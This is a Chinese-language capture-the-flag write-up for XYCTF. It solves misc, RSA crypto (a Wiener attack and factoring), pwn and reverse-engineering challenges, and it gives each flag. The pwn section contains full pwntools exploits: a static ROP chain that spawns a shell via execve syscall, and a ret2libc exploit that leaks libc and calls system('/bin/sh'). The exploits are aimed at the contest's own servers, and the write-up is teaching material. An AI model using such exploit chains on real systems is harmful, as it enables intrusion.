misc

签到

没啥好说的flag:XYCTF{WELCOME_TO_XYCTF}

TCPL

  • 根据题目提示:运行就会有flag
  • 下载附件用IDA反汇编得知,该程序不是amd64架构的程序,而是RISC-V架构的程序。

image-20240516170008431

  • 接下来就使用qemu和在Ubuntu上搭建RISC-V交叉编译的环境,运行该程序即可得到flag

image-20240413115657712

  • 运行得到flag:FLAG{PLCT_An4_r1SCv_x1huann1},再根据题目要求把1变成0
  • 最终得到flag:FLAG{PLCT_An4_r0SCv_x0huann0}

crypto

factor1

  • 题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import hashlib
from Crypto.Util.number import *


p = getPrime(512)
q = getPrime(512)
d = getPrime(512)
e = gmpy2.invert(d, (p**3 - 1) * (q**3 - 1))
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(e)
print(p * q)

# 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
# 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

  • 思路:
1
2
3
phi_n**3 = (p**3-1) * (q**3-1)
# 就知道了N、e可以用连分数法求d
# 知道e、n、d就可以分解p和q,然后就可以得到flag
  • exp
  1. 求d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import gmpy2
import libnum

def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d


n= 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793
e= 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
c= 30443384983816710270001651296607959522389400057103143909277631290995899073895621701281106228069835965181342091582584186637031613250922961166298411359757600825556083868477673357860585539016515776933117915504873987178857740106223631465737111746470236003857656528610755145017342412306680097140732745012583119076
n=n**3
print(n)
d=wienerAttack(e, n)
print(d)
#d=8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347
  1. 分解p、q(用Sage)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
n=99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

e=172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163


d=8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347

b = e * d - 1
while (b % 2 == 0):
b = b /2
else:
t = int(b)
a = 2
while (a < n):
x = power_mod(a, t, n) - 1
d = gcd (x,n)
a += 1
if (d != 1) and (d != n):
p = d
q = n // d
print(d)
print(n // d)
break
  1. 得到flag
1
2
3
4
5
6
7
8
import gmpy2
import hashlib
from Crypto.Util.number import *
p = 10754959493573546439510276829300246769373124436128170955050379041986504869221750743052397622171703140881050431144683659643071578143360949942206693325622779
q = 9212046353930376594996890089494718736894378991991381248242532319628627449681664076081705664941905594411935750003102856235503684466394327681725704255564467
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(flag)
# XYCTF{a83211a70e18145a59671c08ddc67ba4}

PWN

malloc_flag

  • 这题才是签到题,当时因为对malloc的恐惧就不想看了。结果就是一个把堆申请回来的题目。IDA反汇编后的代码还有点长

  • 逆出来的程序部分

image-20240503164237694

image-20240503164246596

image-20240503164310452

  • 实际上flag已经保存在了之前申请的那块堆里,了解一下堆的申请机制就可以知道应该怎样得到flag了

image-20240503164451780

  • 看给的文件,很大没有没有给libc库,静态编译的题目,IDA反汇编后也给了提示
  • 发现没有/bin/sh字串,要调用系统函数写入可写段。

image-20240408010122888

  • 思路:栈溢出,构造rop链,syscall,写入/bin/sh,再构造rop链,syscall得到shell
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#io = process('./vuln')
io = remote('xyctf.top',55519)
context.arch = 'amd64'
context.os = 'Linux'
context.endian = 'little'
context.log_level = 'debug'

#gdb.attach(io)

e = ELF('./vuln')
over_flow = b'a'*0x28
#pop_rax_rdx_rbx_ret = 0x47f16a
pop_rdi_ret = 0x401f1f
pop_rsi_ret = 0x409f8e
pop_rax_ret = 0x447fe7
pop_rdx_ret = 0x451322
bin_sh_addr = 0x4CC618
payload = over_flow
syscall_addr = 0x47302C
payload += p64(pop_rax_ret) +p64(0) + p64(pop_rdi_ret)+ p64(0)+ p64(pop_rsi_ret) + p64(bin_sh_addr) + p64(pop_rdx_ret) +p64(8) + p64(syscall_addr)
payload += p64(pop_rax_ret) + p64(0x3b) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) +p64(0) + p64(syscall_addr)
# p64(0x2F62696E2F7368)
io.sendlineafter(b'static_link? ret2??\n',payload)
io.send(b'/bin/sh\x00')
io.interactive()

hello_world(签到)

  • 发现有给libc文件和ld文件,可以patchelf。

  • IDA反编译,发现有printf函数,但是没有格式化字符串漏洞

image-20240408011154121

  • 查看源文件的rop链,发现vuln文件没有rop链,然后再查看libc.so库发现有rop链

image-20240408010826108

image-20240408010955596

  • 思路:利用read危险函数进行栈溢出操作,然后再用printf函数泄露靶机的libc地址,再在libc中构造rop链,得到shell

  • exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.os = 'Linux'
context.arch = 'amd64'
context.endian = 'little'
context.log_level = 'debug'

#io = process('./vuln')
io = remote('xyctf.top',41372)
#gdb.attach(io)

e = ELF('./vuln')
libc1 = ELF('./libc.so.6')
libc2 = ELF('./ld-linux-x86-64.so.2')
pop_rdi_ret = 0x2a3e5
bin_addr = 0x1D8678
sys_addr = 0x50D8B
io.sendlineafter(b'please input your name:', b'a'*0x27)
io.recvuntil(b"\n")
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('libc',hex(libc_addr))

libc_addr = libc_addr - 0x29D90
bin_addr = libc_addr + bin_addr
pop_rdi_ret = libc_addr + pop_rdi_ret
sys_addr = sys_addr + libc_addr
print(hex(libc_addr))
print(hex(bin_addr))
print(hex(pop_rdi_ret))
print(hex(sys_addr))

over_flow = b'a'*0x28 + p64(pop_rdi_ret)+ p64(bin_addr) + p64(sys_addr) # + p64(0x0) + p64(0x0) + p64(0x0)
io.sendlineafter(b'please input your name:',over_flow)
#io.sendline(over_flow)
#io.sendlineafter(b'\n',b'cat flag')
io.interactive()
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a3e5 : pop rdi ; ret
# 0x0000000000045eb0 : pop rax ; ret

re

聪明的信使

  • IDA反汇编,查看代码,发现是简单的凯撒密码,偏移量为9

image-20240408005556917

image-20240408005616972

  • 得到flag:flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}

image-20240408005737863

喵喵喵的flag碎了一地

  • 根据提示找flag,字串找,函数找,第三个提示在所找的第二个函数里面

image-20240408004821041

  • 字符串:flag{My_fl@g_h4s_

image-20240408004929027

  • 函数:br0ken_4parT_与提示

image-20240408005012520

image-20240408005023733

  • 根据提示:交叉引用,到汇编界面,点击交叉引用处跳转

image-20240408005134018

  • 得到flag:flag{My_fl@g_h4s_br0ken_4parT_Bu7_You_c@n_f1x_1t!}

image-20240408005223692